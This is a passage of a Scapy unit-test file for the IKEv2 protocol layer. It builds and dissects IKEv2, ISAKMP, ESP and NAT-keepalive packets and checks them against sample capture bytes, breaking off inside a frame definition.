    "content": "% Ikev2 unit tests\n#\n# Type the following command to launch start the tests:\n# $ test/run_tests -P \"load_contrib('ikev2')\" -t test/contrib/ikev2.uts\n\n\n* Tests for the Ikev2 layer\n\n+ Basic Layer Tests\n\n= Ikev2 build\n\na = IKEv2()\nassert raw(a) == b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 \\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1c'\n\n= Ikev2 dissection\n\na = IKEv2(b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00! \\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x000\\x00\\x00\\x00\\x14\\x00\\x00\\x00\\x10\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x08\\x02\\x00\\x00\\x03\")\nassert a[IKEv2_Transform].transform_type == 2\nassert a[IKEv2_Transform].transform_id == 3\nassert a.next_payload == 33\nassert a[IKEv2_SA].next_payload == 0\nassert a[IKEv2_Proposal].next_payload == 0\nassert a[IKEv2_Proposal].proposal == 1\nassert a[IKEv2_Transform].next_payload == 0\na[IKEv2_Transform].show()\n\n\n= Build Ikev2 SA request packet\n\na = IKEv2(init_SPI=\"MySPI\",exch_type=34)/IKEv2_SA(flags=\"critical\", prop=IKEv2_Proposal())\nassert raw(a) == b'MySPI\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00! \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00(\\x00\\x80\\x00\\x0c\\x00\\x00\\x00\\x08\\x01\\x01\\x00\\x00'\n\n= Build advanced IKEv2\n\nimport binascii\n\nkey_exchange = binascii.unhexlify('bb41bb41cfaf34e3b3209672aef1c51b9d52919f1781d0b4cd889d4aafe261688776000c3d9031505aefc0186967eaf5a7663725fb102c59c39b7a70d8d9161c3bd0eb445888b5028ea063ba0ae01f5b3f30808a6b6710dc9bab601e4116157d7f58cf835cb633c64abcb3a5c61c223e9332538bfc9f282cb62d1f00f4ee8802')\nnonce = binascii.unhexlify('8dfcf8384c5c32f1b294c64eab69f98e9d8cf7e7f352971a91ff6777d47dffed')\nnat_detection_source_ip = binascii.unhexlify('e64c81c4152ad83bd6e035009fbb900406be371f')\nnat_detection_destination_ip = binascii.unhexlify('28cd99b9fa1267654b53f60887c9c35bcf67a8ff')\ntransform_1 = IKEv2_Transform(next_payload = 'Transform', transform_type = 'Encryption', transform_id = 12, length = 12, key_length = 0x80)\ntransform_2 = IKEv2_Transform(next_payload = 'Transform', transform_type = 'PRF', transform_id = 2)\ntransform_3 = IKEv2_Transform(next_payload = 'Transform', transform_type = 'Integrity', transform_id = 2)\ntransform_4 = IKEv2_Transform(next_payload = 'None', transform_type = 'GroupDesc', transform_id = 2)\npacket = IP(dst = '192.168.1.10', src = '192.168.1.130') /\\\n       UDP(dport = 500) /\\\n       IKEv2(init_SPI = b'KWdxMhjA', next_payload = 'SA', exch_type = 'IKE_SA_INIT', flags='Initiator') /\\\n       IKEv2_SA(next_payload = 'KE', prop = IKEv2_Proposal(trans_nb = 4, trans = transform_1 / transform_2 / transform_3 / transform_4, )) /\\\n       IKEv2_KE(next_payload = 'Nonce', group = '1024MODPgr', ke = key_exchange) /\\\n       IKEv2_Nonce(next_payload = 'Notify', nonce = nonce) /\\\n       IKEv2_Notify(next_payload = 'Notify', type = 16388, notify = nat_detection_source_ip) /\\\n       IKEv2_Notify(next_payload = 'None', type = 16389, notify = nat_detection_destination_ip)\n\nassert raw(packet) == b'E\\x00\\x01L\\x00\\x01\\x00\\x00@\\x11\\xf5\\xc3\\xc0\\xa8\\x01\\x82\\xc0\\xa8\\x01\\n\\x01\\xf4\\x01\\xf4\\x018\\xa6\\xc0KWdxMhjA\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00! \"\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x010\"\\x00\\x000\\x00\\x00\\x00,\\x01\\x01\\x00\\x04\\x03\\x00\\x00\\x0c\\x01\\x00\\x00\\x0c\\x80\\x0e\\x00\\x80\\x03\\x00\\x00\\x08\\x02\\x00\\x00\\x02\\x03\\x00\\x00\\x08\\x03\\x00\\x00\\x02\\x00\\x00\\x00\\x08\\x04\\x00\\x00\\x02(\\x00\\x00\\x88\\x00\\x02\\x00\\x00\\xbbA\\xbbA\\xcf\\xaf4\\xe3\\xb3 \\x96r\\xae\\xf1\\xc5\\x1b\\x9dR\\x91\\x9f\\x17\\x81\\xd0\\xb4\\xcd\\x88\\x9dJ\\xaf\\xe2ah\\x87v\\x00\\x0c=\\x901PZ\\xef\\xc0\\x18ig\\xea\\xf5\\xa7f7%\\xfb\\x10,Y\\xc3\\x9bzp\\xd8\\xd9\\x16\\x1c;\\xd0\\xebDX\\x88\\xb5\\x02\\x8e\\xa0c\\xba\\n\\xe0\\x1f[?0\\x80\\x8akg\\x10\\xdc\\x9b\\xab`\\x1eA\\x16\\x15}\\x7fX\\xcf\\x83\\\\\\xb63\\xc6J\\xbc\\xb3\\xa5\\xc6\\x1c\">\\x932S\\x8b\\xfc\\x9f(,\\xb6-\\x1f\\x00\\xf4\\xee\\x88\\x02)\\x00\\x00$\\x8d\\xfc\\xf88L\\\\2\\xf1\\xb2\\x94\\xc6N\\xabi\\xf9\\x8e\\x9d\\x8c\\xf7\\xe7\\xf3R\\x97\\x1a\\x91\\xffgw\\xd4}\\xff\\xed)\\x00\\x00\\x1c\\x00\\x00@\\x04\\xe6L\\x81\\xc4\\x15*\\xd8;\\xd6\\xe05\\x00\\x9f\\xbb\\x90\\x04\\x06\\xbe7\\x1f\\x00\\x00\\x00\\x1c\\x00\\x00@\\x05(\\xcd\\x99\\xb9\\xfa\\x12geKS\\xf6\\x08\\x87\\xc9\\xc3[\\xcfg\\xa8\\xff'\n\n## packets taken from\n## https://github.com/wireshark/wireshark/blob/master/test/captures/ikev2-decrypt-aes128ccm12.pcap\n\n= Dissect Initiator Request\n\na = Ether(b'\\x00!k\\x91#H\\xb8\\'\\xeb\\xa6XI\\x08\\x00E\\x00\\x01\\x14u\\xc2@\\x00@\\x11@\\xb6\\xc0\\xa8\\x01\\x02\\xc0\\xa8\\x01\\x0e\\x01\\xf4\\x01\\xf4\\x01\\x00=8\\xeahM!Yz\\xfd6\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00! \"\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xf8\"\\x00\\x00(\\x00\\x00\\x00$\\x01\\x01\\x00\\x03\\x03\\x00\\x00\\x0c\\x01\\x00\\x00\\x0f\\x80\\x0e\\x00\\x80\\x03\\x00\\x00\\x08\\x02\\x00\\x00\\x05\\x00\\x00\\x00\\x08\\x04\\x00\\x00\\x13(\\x00\\x00H\\x00\\x13\\x00\\x002\\xc6\\xdf\\xfe\\\\C\\xb0\\xd5\\x81\\x1f~\\xaa\\xa8L\\x9fx\\xbf\\x99\\xb9\\x06\\x9c+\\x07.\\x0b\\x82\\xf4k\\xf6\\xf6m\\xd4_\\x97\\xef\\x89\\xee(_\\xd5\\xdfRzDwkR\\x9f\\xc9\\xd8\\xa9\\t\\xd8B\\xa6\\xfbY\\xb9j\\tS\\x95ar)\\x00\\x00$\\xb6UF-oKf\\xf8r\\xcc\\xd7\\xf0\\xf4\\xb4\\x85w2\\x92\\x139\\xcb\\xaaR7\\xed\\xba$O&+h#)\\x00\\x00\\x1c\\x00\\x00@\\x04\\x94\\x9c\\x9d\\xb5s\\x9du\\xa9t\\xa4\\x9c\\x18F\\x186\\x9b4\\xb7\\xf9B)\\x00\\x00\\x1c\\x00\\x00@\\x05>r\\x1bF\\xbe\\x07\\xd51\\x11B]\\x7f\\x80\\xd2\\xc6\\xe2 \\xc6\\x07.\\x00\\x00\\x00\\x10\\x00\\x00@/\\x00\\x01\\x00\\x02\\x00\\x03\\x00\\x04')\nassert a[IKEv2_SA].prop.trans.transform_id == 15\nassert a[IKEv2_Notify].next_payload == 41\nassert IP(a[IKEv2_Notify].notify).src == \"70.24.54.155\"\nassert IP(a[IKEv2_Notify].payload.notify).dst == \"32.198.7.46\"\n\n= Dissect Responder Response\n\nb = Ether(b'\\xb8\\'\\xeb\\xa6XI\\x00!k\\x91#H\\x08\\x00E\\x00\\x01\\x0c\\xd2R@\\x00@\\x11\\xe4-\\xc0\\xa8\\x01\\x0e\\xc0\\xa8\\x01\\x02\\x01\\xf4\\x01\\xf4\\x00\\xf8\\x07\\xdd\\xeahM!Yz\\xfd6\\xd9\\xfe*\\xb2-\\xac#\\xac! \" \\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xf0\"\\x00\\x00(\\x00\\x00\\x00$\\x01\\x01\\x00\\x03\\x03\\x00\\x00\\x0c\\x01\\x00\\x00\\x0f\\x80\\x0e\\x00\\x80\\x03\\x00\\x00\\x08\\x02\\x00\\x00\\x05\\x00\\x00\\x00\\x08\\x04\\x00\\x00\\x13(\\x00\\x00H\\x00\\x13\\x00\\x00,f\\xbe\\xad\\xb6\\xce\\x855\\xd6!\\x8c\\xb4\\x01\\xaaZ\\x1e\\xb4\\x03[\\x97\\xca\\xdd\\xaf67J\\x97\\x9c\\x04F\\xb8\\x80\\x05\\x06\\xbf\\x9do\\x95\\tR2k\\xf3\\x01\\x19\\x13\\xda\\x93\\xbb\\x8e@\\xf8\\x157k\\xe1\\xa0h\\x01\\xc0\\xa6>;T)\\x00\\x00$\\x9e]&sy\\xe6\\x81\\xe7\\xd3\\x8d\\x81\\xc7\\x10\\xd3\\x83@\\x1d\\xe7\\xe3`{\\x92m\\x90\\xa9\\x95\\x8a\\xdc\\xb5(1\\xaa)\\x00\\x00\\x1c\\x00\\x00@\\x04z\\x07\\x85\\'=Y 8)\\xa6\\x97U\\x0f1\\xcb\\xb9N\\xb7+C)\\x00\\x00\\x1c\\x00\\x00@\\x05\\xc3\\xe5\\x8a\\x8c\\xc9\\x93<\\xe0\\xb7\\x8f*P\\xe8\\xde\\x80\\x13N\\x12\\xce1\\x00\\x00\\x00\\x08\\x00\\x00@\\x14')\nassert b[UDP].dport == 500\nassert b[IKEv2_KE].ke == b',f\\xbe\\xad\\xb6\\xce\\x855\\xd6!\\x8c\\xb4\\x01\\xaaZ\\x1e\\xb4\\x03[\\x97\\xca\\xdd\\xaf67J\\x97\\x9c\\x04F\\xb8\\x80\\x05\\x06\\xbf\\x9do\\x95\\tR2k\\xf3\\x01\\x19\\x13\\xda\\x93\\xbb\\x8e@\\xf8\\x157k\\xe1\\xa0h\\x01\\xc0\\xa6>;T'\nassert b[IKEv2_Nonce].payload.type == 16388\nassert b[IKEv2_Nonce].payload.payload.payload.next_payload == 0\n\n= Dissect Encrypted Initiator Request\n\na = Ether(b\"\\x00!k\\x91#H\\xb8'\\xeb\\xa6XI\\x08\\x00E\\x00\\x00Yu\\xe2@\\x00@\\x11AQ\\xc0\\xa8\\x01\\x02\\xc0\\xa8\\x01\\x0e\\x01\\xf4\\x01\\xf4\\x00E}\\xe0\\xeahM!Yz\\xfd6\\xd9\\xfe*\\xb2-\\xac#\\xac. %\\x08\\x00\\x00\\x00\\x02\\x00\\x00\\x00=*\\x00\\x00!\\xcc\\xa0\\xb3]\\xe5\\xab\\xc5\\x1c\\x99\\x87\\xcb\\xf1\\xf5\\xec\\xff!\\x0e\\xb7g\\xcd\\xb8Qy8;\\x96Mx\\xe2\")\nassert a[IKEv2_Encrypted].next_payload == 42\nassert a[IKEv2_Encrypted].load == b'\\xcc\\xa0\\xb3]\\xe5\\xab\\xc5\\x1c\\x99\\x87\\xcb\\xf1\\xf5\\xec\\xff!\\x0e\\xb7g\\xcd\\xb8Qy8;\\x96Mx\\xe2'\n\n= Dissect Encrypted Responder Response\n\nb = Ether(b\"\\xb8'\\xeb\\xa6XI\\x00!k\\x91#H\\x08\\x00E\\x00\\x00Q\\xd5y@\\x00@\\x11\\xe1\\xc1\\xc0\\xa8\\x01\\x0e\\xc0\\xa8\\x01\\x02\\x01\\xf4\\x01\\xf4\\x00=\\xf9F\\xeahM!Yz\\xfd6\\xd9\\xfe*\\xb2-\\xac#\\xac. % \\x00\\x00\\x00\\x02\\x00\\x00\\x005\\x00\\x00\\x00\\x19\\xa8\\x0c\\x95{\\xac\\x15\\xc3\\xf8\\xaf\\xdf1Z\\x81\\xccK|@\\xe8f\\rD\")\nassert b[IKEv2].init_SPI == b'\\xeahM!Yz\\xfd6'\nassert b[IKEv2].resp_SPI == b'\\xd9\\xfe*\\xb2-\\xac#\\xac'\nassert b[IKEv2].next_payload == 46\nassert b[IKEv2_Encrypted].load == b'\\xa8\\x0c\\x95{\\xac\\x15\\xc3\\xf8\\xaf\\xdf1Z\\x81\\xccK|@\\xe8f\\rD'\n\n= Test Certs detection\n\na = IKEv2_CERT(raw(IKEv2_CERT(cert_encoding = \"X.509 Certificate - Signature\")))\nb = IKEv2_CERT(raw(IKEv2_CERT(cert_encoding =\"Certificate Revocation List (CRL)\")))\nc = IKEv2_CERT(raw(IKEv2_CERT(cert_encoding = 0)))\n\nassert a.cert_encoding == 4\nassert isinstance(a.cert_data, X509_Cert)\nassert b.cert_encoding == 7\nassert isinstance(b.cert_data, X509_CRL)\nassert c.cert_encoding == 0\nassert isinstance(c.cert_data, bytes)\n\n\n= Test Certs length calculations\n## For the length calculations see Figure 12 in RFC 7296\n\nassert a.length == len(a.cert_data) + 5\nassert b.length == len(b.cert_data) + 5\nassert c.length == len(c.cert_data) + 5\n\n= Test TrafficSelector detection\n\na = TrafficSelector(raw(IPv4TrafficSelector()))\nb = TrafficSelector(raw(IPv6TrafficSelector()))\nc = TrafficSelector(raw(EncryptedTrafficSelector()))\n\nassert isinstance(a, IPv4TrafficSelector)\nassert isinstance(b, IPv6TrafficSelector)\nassert isinstance(c, EncryptedTrafficSelector)\n\n= Test TSi with multiple TrafficSelector dissection\n\na = IKEv2_TSi()\na.traffic_selector.extend(IPv4TrafficSelector() * 2)\na.traffic_selector.extend(IPv6TrafficSelector() * 3)\nassert len(a.traffic_selector) == 5\n\nb = IKEv2_TSi(raw(a))\nassert len(b.traffic_selector) == 5\n\n= Test automatic calculation of number_of_TSs field\n\na = IKEv2_TSi(traffic_selector=IPv4TrafficSelector() * 2)\nb = IKEv2_TSi(raw(a))\nassert b.number_of_TSs == 2\n\nc = IKEv2_TSr(traffic_selector=IPv4TrafficSelector() * 2)\nd = IKEv2_TSr(raw(c))\nassert d.number_of_TSs == 2\n\n= IKEv2_Encrypted_Fragment, simple tests\n\ns = b\"\\x00\\x00\\x00\\x08\\x00\\x01\\x00\\x01\"\nassert raw(IKEv2_Encrypted_Fragment()) == s\n\np = IKEv2_Encrypted_Fragment(s)\nassert p.length == 8 and p.frag_number == 1\n\n\n= Build and dissect UDP encapsulated IKEv1 packets\n\npkt = Ether() / IP() / UDP() / NON_ESP() / ISAKMP(init_cookie = b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08', resp_cookie = b'\\x08\\x07\\x06\\x05\\x04\\x03\\x02\\x01')\npkt.show()\nassert pkt[UDP].sport == 4500\nassert pkt[UDP].dport == 4500\nassert pkt[NON_ESP].non_esp == 0x00\nassert pkt[ISAKMP].version == 0x10\nassert pkt[ISAKMP].init_cookie == b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'\nassert pkt[ISAKMP].resp_cookie == b'\\x08\\x07\\x06\\x05\\x04\\x03\\x02\\x01'\n\npkt = Ether(raw(pkt))\npkt.show()\nassert pkt[UDP].sport == 4500\nassert pkt[UDP].dport == 4500\nassert pkt[NON_ESP].non_esp == 0x00\nassert pkt[ISAKMP].version == 0x10\nassert pkt[ISAKMP].init_cookie == b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'\nassert pkt[ISAKMP].resp_cookie == b'\\x08\\x07\\x06\\x05\\x04\\x03\\x02\\x01'\n\n\n# the IKEv1 and IKEv2 headers are compatible, so changing the version to 0x02...\npkt[ISAKMP].version = 0x20\n# ...should turn the ISAKMP packet into an IKEv2 packet after building and dissecting\npkt = Ether(raw(pkt))\npkt.show()\nassert pkt[UDP].sport == 4500\nassert pkt[UDP].dport == 4500\nassert pkt[NON_ESP].non_esp == 0x00\nassert pkt[IKEv2].version == 0x20\nassert pkt[IKEv2].init_SPI == b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'\nassert pkt[IKEv2].resp_SPI == b'\\x08\\x07\\x06\\x05\\x04\\x03\\x02\\x01'\n\n\n= Build and dissect UDP encapsulated IKEv2 packets\n\npkt = Ether() / IP() / UDP() / NON_ESP() / IKEv2(init_SPI = b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08', resp_SPI = b'\\x08\\x07\\x06\\x05\\x04\\x03\\x02\\x01')\npkt.show()\nassert pkt[UDP].sport == 4500\nassert pkt[UDP].dport == 4500\nassert pkt[NON_ESP].non_esp == 0x00\nassert pkt[IKEv2].version == 0x20\nassert pkt[IKEv2].init_SPI == b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'\nassert pkt[IKEv2].resp_SPI == b'\\x08\\x07\\x06\\x05\\x04\\x03\\x02\\x01'\n\npkt = Ether(raw(pkt))\npkt.show()\nassert pkt[UDP].sport == 4500\nassert pkt[UDP].dport == 4500\nassert pkt[NON_ESP].non_esp == 0x00\nassert pkt[IKEv2].version == 0x20\nassert pkt[IKEv2].init_SPI == b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'\nassert pkt[IKEv2].resp_SPI == b'\\x08\\x07\\x06\\x05\\x04\\x03\\x02\\x01'\n\n# the IKEv1 and IKEv2 headers are compatible, so changing the version to 0x01...\npkt[IKEv2].version = 0x10\n# ...should turn the IKEv2 packet into an ISAKMP packet after building and dissecting\npkt = Ether(raw(pkt))\npkt.show()\nassert pkt[UDP].sport == 4500\nassert pkt[UDP].dport == 4500\nassert pkt[NON_ESP].non_esp == 0x00\nassert pkt[ISAKMP].version == 0x10\nassert pkt[ISAKMP].init_cookie == b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'\nassert pkt[ISAKMP].resp_cookie == b'\\x08\\x07\\x06\\x05\\x04\\x03\\x02\\x01'\n\n\n= Build and dissect UDP encapsulated ESP packets\n\npkt = Ether() / IP() / UDP() / ESP(spi = 0x01020304)\npkt.show()\nassert pkt[UDP].sport == 4500\nassert pkt[UDP].dport == 4500\nassert pkt[ESP].spi == 0x01020304\n\npkt = Ether(raw(pkt))\npkt.show()\nassert pkt[UDP].sport == 4500\nassert pkt[UDP].dport == 4500\nassert pkt[ESP].spi == 0x01020304\n\n= Build and dissect UDP encapsulated NAT-keepalive packets\n\npkt = Ether() / IP() / UDP() / NAT_KEEPALIVE()\npkt.show()\nassert pkt[UDP].sport == 4500\nassert pkt[UDP].dport == 4500\nassert pkt[NAT_KEEPALIVE].nat_keepalive == 0xFF\n\npkt = Ether(b'DNm\\xa4\\xf6G`W\\x18\\x93\\x9c\\x7f\\x08\\x00E\\x00\\x00\\x1d\\xfb.\\x00\\x00\\x80\\x11\\x9a\\x16\\xc0\\xa8\\x01\\x1c>\\x99\\xa5-*\\xca\\x11\\x94\\x00\\t\\x1e\\xf2\\xff')\npkt.show()\nassert pkt[UDP].dport == 4500\nassert pkt[NAT_KEEPALIVE].nat_keepalive == 0xFF\n\n\n+ Wireshark Captures\n\n= IKEv2 key exchange with NAT-traversal\n\n* Loads and dissects the four frames of the key exchange from a Wireshark\n* capture and compares them with manually built scapy packets.\n\npcap = rdpcap(scapy_path(\"/test/pcaps/ikev2_nat_t.pcapng\"), count=4)\n\nike_auth_request_encrypted_payload = binascii.unhexlify(''.join(\"\"\"\n                             be11 14ab1abe02954640 ce512b03d6527a50\ndd17707ff420b9b5 b02d2874c57afdd3 fa95b15693017a12 8333c8d694f2cd61\ne98b0717f65e1860 430f0699a4174af6 a6c929ff4114b686 f201f471ff9b191e\n4d4cbd43dd994ef6 d5179b6845843d2d 1502f16d4356dc3b ad819c1b0549296b\ndbe479878dbc8a8b e71f9017946bc198 ef010f83a69a5d81 a312be0df9afa949\ne3f0807bd2785498 c0c492f0bcde5085 b2df1187657cbf23 e11c25558af278d0\n1bceadf5548a8990 a6adea270410cb16 1786e0798ed8f047 3442b43399e42122\n6f2ee1e2b0787dfc f56b7b32f3d0b02d 038764ce8ffee757 b94896763c68c2bb\n2a94dec851dcf7e4 489ba8e431d1c63c f5d19a097674b513 58e6b5052a87dd48\nbb3be834b06ab704 579fcac6f6bf647c 87b4c5c0b7353df6 0b55e32a75ac4ced\n3c1724d32a068207 226769352b08eefb 195da55e29c3eea1 05f0fd024029e0d7\n8b83757bd1b6052a 64febad6779cfca3 5b9a2529dc15d2a5 ee8825a2ab3e72ed\ne84aaeb86e8debd6 2a9b3d6503dd6c1a 7e03b87b81578dc0 fb087a5ad2d6bf6b\nd149d108defcabb5 721f8b4ebf1b9b78 80bdd2fc93856afe 4f54a32125964bbc\nfd917239f5af1db9 cd3d188ab7165826 7a445c13d2147169 5da3f3a674c2baaf\n5fd7636cc8ca4b43 142fd2588bb31fdd d6a42b20ebc03b01 04e8beb1356fc863\n0bd95de8574e16fe 14cfa9a6455e20e9 eb08bf632cea53e7 c614277e32fa81d9\ncb2efed29b04377a 748bfab753058349 f21a03fa5c5f478b c0bd993ca3e982b9\nd19fa8d24306e46a b41d9bbfd1d2e2da 112b6c840cc7b86b 8e005aa71b5339d1\nff2eabb0124df2bf 910173c17380a7e3 85d22f94fa6e3f78 bce897a9a37e08c1\n1124661701dfd643 bba0c4ab4d8e19bb 95478e272d61c1a1 6d4e562f25c3c0a1\n69d39a84045183e2 684ac80ab6e18f20 dc4cc8d5b1d83293 07766d58695eff56\n14c207e045152933 07f9dbeb621e1c25 665f75f55e1ae90c aa43a500fa1ecf18\n3d7e7d46db8eae03 e1bc7a3aefab0c00 9884ca11e7889841 8459936a02699e5f\n7f798d3c81de4933 a7f14f62aa5c31ae 2693089ca1df68a5 2cd338d5d2539053\n5099dd4f0646318f 079822b43f5a47b7 db9eba75ef843a42 98fb9e695a349824\nbef5ee441997f7c5 303c4f8288bb8be1 6cc72fc348c777ec 7ce8b0f032633890\nf01fbeef028f3bb5 ffd1ec663e9304cf 745d4659fc67f32d cffffa9deae65066\n5a2779b742057d71 86bd2603ce0946c4 1589d63fae9c404d 6c7f793a436c775a\nd7d34f2dd609a272 4ac70b514a76d248 8eefb6fc2f3bd196 4dfc1a0d652e89a9\ne0b3278bc2c4c961 19df82bdc3b1f99d 399b0dbf62d23ea3 a7e940177525130b\ndf5960b33b3d2d73 28d98a5fd9bbec2e 71404b77facc8053 a14feafd49bf150f\n450384b99d392549 31f06ac18d225368 5c52b4ee6ad50337 dbce7f72bf56e4bf\n55fdf3fd42c39c7d 65a48987ad84d1e0 c4e4543463c95a8e 646744240fdc00b6\n0c009f4afd15b800 182a5004e4062557 e7b20115e01d1cc3 5eb8d01e22f0bf2d\nbb2db84a970934d0 5f9b0d5e5350a45f 733a747e229eca56 087886a5c09efac8\n0c9545e6d849189b 40d7e7b9da4a9f04 9fb0273c3a2ad370 a84d5e7db14c362c\nc84483bbe70f2573 8116b11b877a7939 628a2dec6a590056 fdc7ce849770f12d\n0f63a701e672cf93 75c68c4325e60e3e ae46c7dd014df09d 4594339fa5e82ab3\n9de316df933694da e20120886403\n\"\"\".split()))\n\n\nike_auth_response_encrypted_payload = binascii.unhexlify(''.join(\"\"\"\n                             0fb3 4e8905b03a3d9b97 70f3e63428ab00be\n1bc29397bec721ef 9bd02e6cc64a309b 0c0dd67e4442f235 c201ccb5f6b8c8b0\n26baaaf0dce597c0 dd610ebbc4aa2d07 8cbd6fdc2dd879a9 f3216edaabd965d8\n5fe04a202615c5c6 08b0caf7db24dc08 4d0d86e560ccb75e 209941a2945bab45\n0795b96cc4f03752 163825f1be62d009 038f29f25956f3e9 3648ea647af4fbea\n52a19bbf16074ed3 9161cfd1a1695176 059cbfc48c57755f b1b1b397155171a0\nb11e10d3f476512b 73687912265ccb6f 1fef5aa5dee1ffc3 a5ecc574a76d529b\n884f819f859c015a a3977230a69657d7 1d54b5cfebcc135a 4010294fdc98db45\ne933cfeca0d638b1 f3f42c863be5501c 105ebc0efc4a8dd2 e48fdc4f35a59068\n5b1c073f6dd368fa 4ac1af60469f5ac0 d209445259a5ec1c e1ce59fad2dd60bb\n11eae2a678095d99 7b69733553933371 b083e1f94d5bd71d b9fc9167068f4565\n1f9de7b7cfa30e6f 54f65e2c9f1a6d88 ff7beff94532af43 ce9067db85fd3679\n5a8ad841889285f4 f27d740d8da1429b 0764f789f314e20f 5a08258b4bdfd75d\n7b7b9cb4b0bb7c2b a469ac24545f2fbe 0621bdaa76898cb6 cb3bbd334c6b6394\nef7e1cf31df2dd0b 86089a654b942f6e fb7ee5ba401200e0 d727791fc3f978dc\nf446067cd054e664 69ea05784e61ce67 a1fe98a73d22962d 703ad51ff1091920\nf111c2f1535197f8 72471fc2b482b55b 15bfb7525c4c1b4d 8b9a1b98534dcea5\n8343e35e0ecb0164 953604b8687315b8 86509cc26b8730be f8ef669e77466628\n2da94192b67f0c4a 56ff1f7b3a080e4f 0e9ed767d497e8d3 1807169a7c62b80c\nc27c8e4907d59b02 a9d5fd0b9aa8ed96 7bd26a1ad6bce39b 562382ccfc6102d3\n5d4cefd222eadfc4 cffff96f16e69c4a 7b7367dbf48a13c2 1c95ef3b3bf7e1fb\nb240854e6c40b8a8 a8e957919e088d36 4e1da0c0130ae87b 83e980f6f14a9cfa\nfe8e956d489a03aa c365767ec06cee58 04ed81cfe559a8a5 ed00e0ae964e2705\nd2c9011390ba6afd 262b4527144ce8b6 4d438ebddd94eb2c e39c6c254547f0d4\n27b4abf5217c9588 f96dc393517bfab2 50153321ddced8e2 dbb52454e342a483\n1af575c5420b5d37 42aa9ae79e3e7187 3117fd36c856e1c0 317b4ad2d1d3fe38\nb528eb3438210e14 d10e5d2d9feff9d8 1f6fdefde57da710 db7f72e03d154aba\n61bacccd26c0a80f e710f55eb5bb59db 2c0aec7f1003fb4f 1ffd219932bc8e7f\n4f7ced086f6c3067 7610e78a6e8e04dc 330cd2da1ffb181a e09b5b52b9ea366b\nea88329e2c2d6f51 68b1b2b7ac118861 a56cdc43402d89d6 26344a127a7cb39a\n3f2e1a8ae35b72fa c0b8eb83622cd944 fe86bc8f340ea1a0 81fb980c9e6baa8e\nf9c1b37d11b13d51 e0cf72aac6dbfab9 49f8443d4f3098f9 b022ea0fa25dd418\nf9cc26d0b8358ddd 778204fd9da6374a 46c4cc1777485acc b9c3975a1c12d9f3\nac326a8e37ca3c17 31a0b6f163a4335c 1c589d52d8b82699 c0c1b31b6b58a7d6\n76d3eeca77a0b4ee 289b11494a217031 d464e32c28e7c109 5afdad0297c5dd65\n1ad1a856f330647a 4ba7be0eee67eace e4a8137709b1234e 07909fb464b5b4fe\nf63e8829a9f066dc ecb8c12cf91836cd 7b7300b86ecea0f7 467b2991832c8380\n3e5f02e1b663e064 e4bd991caa1bcadb 38d984595233f6aa 5c7079217ea5405e\n72a515e9f787d3d9 0a48cb098216f8ff a94ddd0bd8634d48 2f4ffcb96dd81e66\n0a4324eb34f6\n\"\"\".split()))\n\n\nframes = [\n    (\n        # i: frame number\n        0,\n        # title:\n        \"IKE_SA_INIT request\",\n        # data: raw frame data\n        binascii.unhexlify(''.join(\"\"\"\n        005056eddb32000c 2930109e08004500 014cedc240004011 da45c0a8f583ac10\n        0f5c2aca11940138 97c9000000008992 2c915f35570e0000 0000000000002120\n        2208000000000000 012c220000280000 0024010100030300 000c01000014800e\n        0100030000080200 0005000000080400 0013280000480013 0000db253178440c\n        e776a794133cb8b6 9e5eb07473353657 0c64d7b630549c89 9c0712d828b37168\n        500885e051024578 afc75c101f73b894 3cad62d74a30f2be 1fca2b00002c09cb\n        538b2c3dbd4d0bb0 eec8d318cb801a9b 4715b207828d9b5f f1f4ec64ed588637\n        07bcf14ccf052b00 0014eb4c1b788afd 4a9cb7730a68d56c 53212b000014c61b\n        aca1f1a60cc10800 0000000000002b00 00184048b7d56ebc e88525e7de7f00d6\n        c2d3c00000002900 00144048b7d56ebc e88525e7de7f00d6 c2d3290000080000\n        402e290000080000 4016000000100000 402f000100020003 0004\n        \"\"\".split())),\n        # packet:  Ether / IP / UDP / NON_ESP / IKEv2 / ...\n        Ether(dst='00:50:56:ed:db:32', src='00:0c:29:30:10:9e', type='IPv4') /\n        IP(version=4, ihl=5, tos=0x0, len=332, id=60866, flags='DF', frag=0, ttl=64, proto='udp', chksum=0xda45, src='192.168.245.131', dst='172.16.15.92') /\n        UDP(sport=10954, dport=4500, len=312, chksum=0x97c9) /\n        NON_ESP() /\n        IKEv2(\n            init_SPI=b'\\x89\\x92\\x2c\\x91\\x5f\\x35\\x57\\x0e',\n            resp_SPI=b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00',\n            next_payload='SA',\n            version=0x20,\n            exch_type='IKE_SA_INIT',\n            flags='Initiator',\n            id=0,\n            length=300\n        ) /\n        IKEv2_SA(\n            next_payload='KE',\n            flags='',\n            length=40,\n            prop=IKEv2_Proposal(\n                next_payload='None',\n                flags='',\n                length=36,\n                proposal=1,\n                proto='IKE',\n                trans_nb=3,\n                trans=(\n                    IKEv2_Transform(\n                        next_payload='Transform',\n                        flags='',\n                        length=12,\n                        transform_type='Encryption',\n                        res2=0,\n                        transform_id='AES-GCM-16ICV',\n                        key_length=256\n                    ) /\n                    IKEv2_Transform(\n                        next_payload='Transform',\n                        flags='',\n                        length=8,\n                        transform_type='PRF',\n                        res2=0,\n                        transform_id='PRF_HMAC_SHA2_256'\n                    ) /\n                    